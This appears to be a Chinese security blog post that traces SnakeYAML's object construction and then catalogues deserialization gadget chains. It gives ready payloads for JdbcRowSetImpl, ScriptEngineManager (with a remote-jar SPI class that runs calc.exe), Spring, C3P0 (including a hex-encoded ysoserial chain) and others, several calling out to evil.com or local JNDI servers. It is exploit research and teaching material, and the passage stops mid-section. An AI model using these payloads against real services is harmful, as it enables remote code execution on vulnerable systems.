&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811143614057.png&quot; alt=&quot;image-20250811143614057&quot; /&gt;&lt;/p&gt;
&lt;p&gt;根据节点类型和标签获取对应的构造器，然后检查缓存（防止在构造过程中被其他地方创建），再调用构造器的construct方法创建对象，继续跟进construct()&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811143939001.png&quot; alt=&quot;image-20250811143939001&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里刚好印证了yaml的功能，即对键值对，列表，对象的解析。前两个if判断是不是Map或者Collection的子类，最后的else则是对javaBean的处理。注意这里构造javaBean类的时候分为两步，newInstance之后调用constructJavaBean2ndStep填充对象。&lt;/p&gt;
&lt;p&gt;先看newInstance，这里已经拿到expBean了，可以看到确实调用了构造方法。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811144612275.png&quot; alt=&quot;image-20250811144612275&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811144813786.png&quot; alt=&quot;image-20250811144813786&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续跟进：constructJavaBean2ndStep&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811150044838.png&quot; alt=&quot;image-20250811150044838&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里我们的expBean没有注册TypeDescription，也就是正常的Bean，继续往下走到getProperty&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811150157657.png&quot; alt=&quot;image-20250811150157657&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续走到getPropertiesMap()方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811150255672.png&quot; alt=&quot;image-20250811150255672&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意看，这个地方会对public属性做不同的处理&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811151248838.png&quot; alt=&quot;image-20250811151248838&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对比两种get方法：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811151312229.png&quot; alt=&quot;image-20250811151312229&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811151702914.png&quot; alt=&quot;image-20250811151702914&quot; /&gt;&lt;/p&gt;
&lt;p&gt;很明显看出，正常javaBean属性是通过setter.invoke()来设置的，而public方法则是直接调用反射来取值的（这样做估计是为了节省开销），但是这也说明了一点&lt;/p&gt;
&lt;p&gt;:::important
snakeYAML无法触发被public修饰属性的setter方法。
:::&lt;/p&gt;
&lt;p&gt;让我们步出，最后走到constructJavaBean2ndStep的property.set(object, value);方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811152247180.png&quot; alt=&quot;image-20250811152247180&quot; /&gt;&lt;/p&gt;
&lt;p&gt;省略后面的递归构建和一些非核心的操作，&lt;/p&gt;
&lt;p&gt;最后美美返回load好的对象。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811152835937.png&quot; alt=&quot;image-20250811152835937&quot; /&gt;&lt;/p&gt;
&lt;p&gt;了解原理之后，接下来就是一些SnakeYAML Gadget&lt;/p&gt;
&lt;h2&gt;一些Gadget以及利用姿势&lt;/h2&gt;
&lt;p&gt;sink点就是setter和构造方法&lt;/p&gt;
&lt;h3&gt;JdbcRowSetImpl&lt;/h3&gt;
&lt;p&gt;又是我们的老朋友，出网打JNDI。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;setAutoCommit -&amp;gt; connect -&amp;gt; lookup(this.getDataSourceName());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811154327068.png&quot; alt=&quot;image-20250811154327068&quot; /&gt;&lt;/p&gt;
&lt;p&gt;符合snakeYAML触发setter条件，伟大，无需多言。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://ip/evil, autoCommit: true}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ScriptEngineManager&lt;/h3&gt;
&lt;p&gt;先讲讲SPI机制，也就是Service Provider Interface，是Java提供的一种&lt;strong&gt;服务发现机制&lt;/strong&gt;，允许框架发现和加载接口的实现类，而不需要在代码中硬编码具体的实现。&lt;/p&gt;
&lt;p&gt;其核心就在于 &lt;code&gt;ServiceLoader.load()&lt;/code&gt;方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public final class ServiceLoader&amp;lt;S&amp;gt; implements Iterable&amp;lt;S&amp;gt; {
    
    public static &amp;lt;S&amp;gt; ServiceLoader&amp;lt;S&amp;gt; load(Class&amp;lt;S&amp;gt; service) {
        // 获取当前线程的类加载器
        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        return ServiceLoader.load(service, cl);
    }
    
    public static &amp;lt;S&amp;gt; ServiceLoader&amp;lt;S&amp;gt; load(Class&amp;lt;S&amp;gt; service, ClassLoader loader) {
        return new ServiceLoader&amp;lt;&amp;gt;(service, loader);
    }
    
    private ServiceLoader(Class&amp;lt;S&amp;gt; svc, ClassLoader cl) {
        service = Objects.requireNonNull(svc, &quot;Service interface cannot be null&quot;);
        loader = (cl == null) ? ClassLoader.getSystemClassLoader() : cl;
        reload();
    }
    
    public void reload() {
        providers.clear();
        lookupIterator = new LazyIterator(service, loader);
    }
    
    // 关键：查找配置文件
    private class LazyIterator implements Iterator&amp;lt;S&amp;gt; {
        Class&amp;lt;S&amp;gt; service;
        ClassLoader loader;
        Enumeration&amp;lt;URL&amp;gt; configs = null;
        String nextName = null;
        
        private boolean hasNextService() {
            if (configs == null) {
                try {
                    // 关键路径：META-INF/services/ + 接口全名
                    String fullName = PREFIX + service.getName();
                    configs = loader.getResources(fullName);
                } catch (IOException x) {
                    fail(service, &quot;Error locating configuration files&quot;, x);
                }
            }
            // 解析配置文件，获取实现类名称
        }
        
        private S nextService() {
            String cn = nextName;
            nextName = null;
            Class&amp;lt;?&amp;gt; c = null;
            try {
                // 关键：加载并实例化实现类
                c = Class.forName(cn, false, loader);
            } catch (ClassNotFoundException x) {
                fail(service, &quot;Provider &quot; + cn + &quot; not found&quot;);
            }
            
            try {
                // 创建实例
                S p = service.cast(c.newInstance());
                providers.put(cn, p);
                return p;
            } catch (Throwable x) {
                fail(service, &quot;Provider &quot; + cn + &quot; could not be instantiated&quot;, x);
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811163204140.png&quot; alt=&quot;image-20250811163204140&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那就构建：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
    /src
       ./META-INF/services
                         javax.script.ScriptEngineFactory
                         内容：v2e.V2EScriptEngineFactory
       ./v2e
           V2EScriptEngineFactory.java
           内容：
package v2e;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class V2EScriptEngineFactory implements ScriptEngineFactory {

    public V2EScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec(&quot;calc.exe&quot;);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List&amp;lt;String&amp;gt; getExtensions() {
        return null;
    }

    @Override
    public List&amp;lt;String&amp;gt; getMimeTypes() {
        return null;
    }

    @Override
    public List&amp;lt;String&amp;gt; getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

javac src/v2e/V2EScriptEngineFactory.java
jar -cvf yamlExp.jar -C src/ .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;poc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String exp = &quot;!!javax.script.ScriptEngineManager [\n&quot; +
                &quot;  !!java.net.URLClassLoader [[\n&quot; +
                &quot;    !!java.net.URL [\&quot;http://127.0.0.1:8989/yamlExp.jar\&quot;]\n&quot; +
                &quot;  ]]\n&quot; +
                &quot;]&quot;;
Yaml yaml = new Yaml();
yaml.load(exp);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调试一下，前面从getSingleData -&amp;gt; constructDocument -&amp;gt; constructor.construct(node);就不演示了，走到construct方法，发现跟我们刚开始的expBean有些不同&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812091131934.png&quot; alt=&quot;image-20250812091131934&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这位是因为之前expBean的yaml格式是键值对结构，所以construct把其作为MappingNode 处理，而这里的spi payload是列表，所以作为SequenceNode 来处理，这这一处理不会像MappingNode那样先构造javaBean再调用setter来还原类而是直接调用对应的构造函数。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812092506109.png&quot; alt=&quot;image-20250812092506109&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里处理也很好理解，就是实现了通过构造器创建不可变对象的完整流程，分为两个阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;构造器筛选：根据参数数量筛选匹配的构造器&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;YAML序列有N个元素 → 寻找有N个参数的构造器
将符合条件的构造器收集到&lt;code&gt;possibleConstructors&lt;/code&gt;列表&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最优构造器选择和对象创建：逐个构造参数&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;链子其实就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;URL[] urls = {new URL(&quot;http://evil.com/exploit.jar&quot;)};
URLClassLoader loader = new URLClassLoader(urls);
ScriptEngineManager manager = new ScriptEngineManager(loader);
// 这会触发SPI机制，加载远程的ScriptEngineFactory实现


initEngines:123, ScriptEngineManager (javax.script)
init:84, ScriptEngineManager (javax.script)
&amp;lt;init&amp;gt;:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:592, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:358, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:270, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:253, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:207, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:191, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:477, Yaml (org.yaml.snakeyaml)
load:406, Yaml (org.yaml.snakeyaml)
main:105, spiExp (org.example.snakeyaml)


ScriptEngineManager(loader) -&amp;gt; init(loader) -&amp;gt; initEngines(loader) -&amp;gt; ServiceLoader&amp;lt;ScriptEngineFactory&amp;gt;.iterator().next() -&amp;gt; 先实例化的NashornScriptEngineFactory，第二次实例化远程jar中的恶意类。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812095241202.png&quot; alt=&quot;image-20250812095241202&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250811165735024.png&quot; alt=&quot;image-20250811165735024&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Apache XBean&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;
  &amp;lt;groupId&amp;gt;org.apache.xbean&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;xbean-naming&amp;lt;/artifactId&amp;gt;
  &amp;lt;version&amp;gt;4.20&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;poc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String exp = &quot;!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\&quot;void2eye\&quot;,!!javax.naming.Reference [\&quot;foo\&quot;, \&quot;EvilPayload\&quot;, \&quot;http://127.0.0.1:8989/\&quot;],!!org.apache.xbean.naming.context.WritableContext []]]&quot;;
Yaml yaml = new Yaml();
yaml.load(exp);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;BadAttributeValueExpException老朋友了，其构造方法会调用toString&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812143410930.png&quot; alt=&quot;image-20250812143410930&quot; /&gt;&lt;/p&gt;
&lt;p&gt;org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding本身没有toString方法但是继承自Binding&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812143554683.png&quot; alt=&quot;image-20250812143554683&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Binding的toString会调用getObject，而org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding#getObject()会调用&lt;/p&gt;
&lt;p&gt;org.apache.xbean.naming.context.ContextUti#resolve&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812143809444.png&quot; alt=&quot;image-20250812143809444&quot; /&gt;&lt;/p&gt;
&lt;p&gt;NamingManager.getObjectInstance，jndi高版本绕过这一块。这里既可出网打远程加载，也可本地打BeanFactory。具体在jndi高版本的文章我会细讲，这里先按下不表&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812150320007.png&quot; alt=&quot;image-20250812150320007&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Spring PropertyPathFactoryBean&lt;/h3&gt;
&lt;p&gt;有springframwork依赖基本都行&lt;/p&gt;
&lt;p&gt;poc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String exp = &quot;!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \&quot;ldap://127.0.0.1:7777/Exploit\&quot;, propertyPath: \&quot;void2eye\&quot;, beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\&quot;ldap://127.0.0.1:7777/Exploit\&quot;]}}&quot;;
Yaml yaml = new Yaml();
yaml.load(exp);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原理很简单，PropertyPathFactoryBean的setBeanFactory能触发任意getBean&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812155909260.png&quot; alt=&quot;image-20250812155909260&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而SimpleJndiBeanFactory的getBean会触发lookup进而可以打jndi&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812160110286.png&quot; alt=&quot;image-20250812160110286&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Apache Commons Configuration&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;commons-configuration&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;commons-configuration&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;1.10&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;poc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String exp = &quot;!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \&quot;rmi://127.0.0.1:7777/Exploit\&quot;]]: 1&quot;;
Yaml yaml = new Yaml();
yaml.load(exp);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接把JNDIConfiguration里面的所有lookup打上断点，然后直接开调！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812162827346.png&quot; alt=&quot;image-20250812162827346&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
&amp;lt;init&amp;gt;:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
&amp;lt;init&amp;gt;:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
hashCode:505, AbstractMap (java.util)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
processDuplicateKeys:125, SafeConstructor (org.yaml.snakeyaml.constructor)
flattenMapping:81, SafeConstructor (org.yaml.snakeyaml.constructor)
flattenMapping:76, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:212, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:557, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:600, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:270, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:253, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:207, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:191, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:477, Yaml (org.yaml.snakeyaml)
load:406, Yaml (org.yaml.snakeyaml)
main:11, CCExp (org.example.snakeyaml)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从调用栈就知道是ConfigurationMap处理key造成的，由于整个过程会对key进行多次处理，故也会多次调用lookup&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812163112899.png&quot; alt=&quot;image-20250812163112899&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Resource&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;org.eclipse.jetty&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;jetty-jndi&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;9.4.8.v20171121&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;org.eclipse.jetty&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;jetty-plus&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;9.4.8.v20171121&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;org.eclipse.jetty&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;jetty-util&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;9.4.8.v20171121&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;poc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String poc = &quot;[!!org.eclipse.jetty.plus.jndi.Resource [\&quot;__/obj\&quot;, !!javax.naming.Reference [\&quot;foo\&quot;, \&quot;EvilPayload\&quot;, \&quot;http://localhost:8989/\&quot;]], !!org.eclipse.jetty.plus.jndi.Resource [\&quot;obj/test\&quot;, !!java.lang.Object []]]\n&quot;;
Yaml yaml = new Yaml();
yaml.load(poc);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单说一下，在Resource的父类org.eclipse.jetty.plus.jndi.NamingEntry中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250813102050114.png&quot; alt=&quot;image-20250813102050114&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;__&lt;/code&gt;是&lt;strong&gt;Jetty框架自定义的特殊JNDI上下文名称&lt;/strong&gt;，用来存储所有的NamingEntry对象，再来看NamingEntr是save方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250813102421726.png&quot; alt=&quot;image-20250813102421726&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Root Context
├── __ (Jetty上下文)
│   ├── v2e (Reference对象) ←── 第一个Resource绑定
│   └── v2e/test (普通对象) ←── 绑定第二个Resource触发lookup
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以就是尝试创建&lt;code&gt;v2e/test&lt;/code&gt;时触发对&lt;code&gt;v2e&lt;/code&gt;的查找这个时候触发jndi&lt;/p&gt;
&lt;h3&gt;C3P0 JndiRefForwardingDataSource&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;com.mchange&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;c3p0&amp;lt;/artifactId&amp;gt;
        &amp;lt;version&amp;gt;0.9.5.2&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;poc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String exp = &quot;!!com.mchange.v2.c3p0.JndiRefForwardingDataSource  {jndiName: \&quot;rmi://localhost/Exploit\&quot;,  loginTimeout: \&quot;0\&quot;}&quot;;
Yaml yaml = new Yaml();
yaml.load(exp);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C3p0不赖，老生常谈了。&lt;/p&gt;
&lt;p&gt;setLoginTimeout -&amp;gt; inner() -&amp;gt; dereference() -&amp;gt; lookup()&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812164316235.png&quot; alt=&quot;image-20250812164316235&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812164434113.png&quot; alt=&quot;image-20250812164434113&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;C3P0不出网&lt;/h3&gt;
&lt;p&gt;poc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;java -jar ysoserial.jar CommonsCollections2 &quot;calc&quot; &amp;gt; calc.ser
    
public class HexEncode {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream(&quot;calc.ser&quot;);
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i &amp;lt; length; ++i) {
            String sTemp = Integer.toHexString(255 &amp;amp; bArray[i]);
            if (sTemp.length() &amp;lt; 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

//exp
System.setProperty(&quot;org.apache.commons.collections.enableUnsafeSerialization&quot;, &quot;true&quot;);

String exp = &quot;!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \&quot;HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001b0000000171007e0020737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000000787878;\&quot;}&quot;;
Yaml yaml = new Yaml();
yaml.load(exp);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原理也很简单，在WrapperConnectionPoolDataSource这个类的父类WrapperConnectionPoolDataSourceBase里面的setUserOverridesAsString，一直会走到将Hex值反序列化&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sl0wjamz.oss-cn-hangzhou.aliyuncs.com/img/image-20250812174821183.png&quot; alt=&quot;image-20250812174821183&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;deserializeFromByteArray:143, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:72, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:314, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:207, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:358, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:270, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:253, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:207, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:191, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:477, Yaml (org.yaml.snakeyaml)
load:406, Yaml (org.yaml.snakeyaml)
main:13, C3P0NotNetExp (org.example.snakeyaml)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;MarshalOutputStream不出网（fj1.2.68写文件）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
